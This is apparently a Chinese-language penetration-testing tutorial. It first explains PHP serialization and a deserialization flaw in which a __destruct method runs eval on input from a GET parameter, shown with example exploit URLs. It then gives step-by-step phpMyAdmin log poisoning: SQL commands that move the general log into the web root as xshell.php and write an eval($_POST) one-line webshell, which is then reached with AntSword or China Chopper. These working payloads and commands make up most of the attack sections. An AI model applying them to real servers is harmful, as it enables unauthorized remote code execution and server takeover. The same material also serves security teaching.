定义:序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台、安全的进行通信。
序列化
下面将进行序列号测试,了解他如何把对象变成可以传输的字符串,在apache上新建下面这段代码然后访问
<?php class Stu{public $name;public $sex;public $age;public $score;}$stu1 = new Stu();$stu1 ->name = "kobe";$stu1 ->sex = true;$stu1 ->age = 16;$stu1 ->score = 60;echo serialize($stu1);?>页面输出如下:O:3:"Stu":4:{s:4:"name";s:4:"kobe";s:3:"sex";b:1;s:3:"age";i:16;s:5:"score";i:60;}O代表object,3代表"Stu"的长度也就是class的长度为3,s代表string类型,第一个分号(;)代表的是属性的名字,第二个分号(;)代表的是属性的值,b代表bool类型,i表示int类型。
反序列化
<?php class Stu{public $name;public $sex;public $age;public $score;}$stu1 = new Stu();$stu1 ->name = "kobe";$stu1 ->sex = true;$stu1 ->age = 16;$stu1 ->score = 60;echo "";echo serialize($stu1);$str = <<O:3:"Stu":4:{s:4:"name";s:4:"kobe";s:3:"sex";b:1;s:3:"age";i:16;s:5:"score";i:60;}HTML;echo "";var_dump(unserialize($str));?>以下就是反序列化的输出内容object(Stu)#2 (4) { ["name"]=> string(4) "kobe" ["sex"]=> bool(true) ["age"]=> int(16) ["score"]=> int(60) }
反序列化漏洞
<?php class Test{public $str='kobe';function __destruct(){ @eval($this->str);}}$test = new Test();echo serialize($test);echo "";//$t = serialize($test);$t = $_GET['obj'];var_dump(unserialize($t));?>
eval(phpcode)
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
当我们输入如下的链接时,页面成功反序列化http://192.168.1.132/PHP/class/ldong.php?obj=O:4:"Test":1:{s:3:"str";s:6:"kobes;";}输出如下object(Test)#2 (1) { ["str"]=> string(6) "kobes;" }
当我们输入如下的链接时,页面成功访问了phpinfohttp://192.168.1.132/PHP/class/ldong.php?obj=O:4:"Test":1:{s:3:"str";s:10:"phpinfo();";}通过代码审计,我们发现在代码层面并没有调用到eval函数,事实上当销毁实例化类(对象)的时候,__destrutc() 函数会被自动调用,并且输出字符串[ This is funtion --destrutc() ],调用GET请求,反序列化成功。$t = $_GET['obj'];var_dump(unserialize($t));__construct 在创建对象时自动调用__destruct 在销毁对象时自动调用__call() 在对象中调用一个不可访问方法时被调用
phpmyadmin通过日志写入一句话
环境准备
phpstudy2018
虚拟机win2k3
渗透思路
phpmyadmin有日志记录功能,如果我们把日志记录开启,并且把一句话木马在sql界面输入,让日志把木马写入到loudong-PC.log文件里。
但是这个路径下的文件无法解析一句话木马,所以我们要把记录日志文件的路径改变,改到他发布网页的路径下(通过phpinfo.php网页下的document_root参数就是网页发布的绝对路径),一般为www下的子文件夹,把.log文件修改为php文件进行解析.
渗透步骤
一、判断日志是否开启
通过web登录phpmyadmin,查看日志记录功能是否开启,sql界面输入命令:show global variables like '%general%';
查看日志记录是否开启。
general_log_file是日志的保存路径C:\phpStudy_PRO\PHPTutorial\MySQL\data\loudong-PC.log
二、开启日志记录
sql框输入命令:set global general ='on';
,成功开启日志记录。
把日志记录的路径改为WWW下的xshell.php文件,输入以下命令
set global general_log_file = 'C:/phpStudy_PRO/PHPTutorial/WWW/xshell.php'
如上图所示,成功改变了日志记录的位置和文件名。
三、写入一句话木马
在sql输入框输入以下代码
select '<?php eval($_POST["admin"]);?>';
通过查询发现已经成功把一句话木马写入xshell.php,
下面认证是否能成功执行一句话木马,然后用蚁剑或者中国菜刀进行连接一句话木马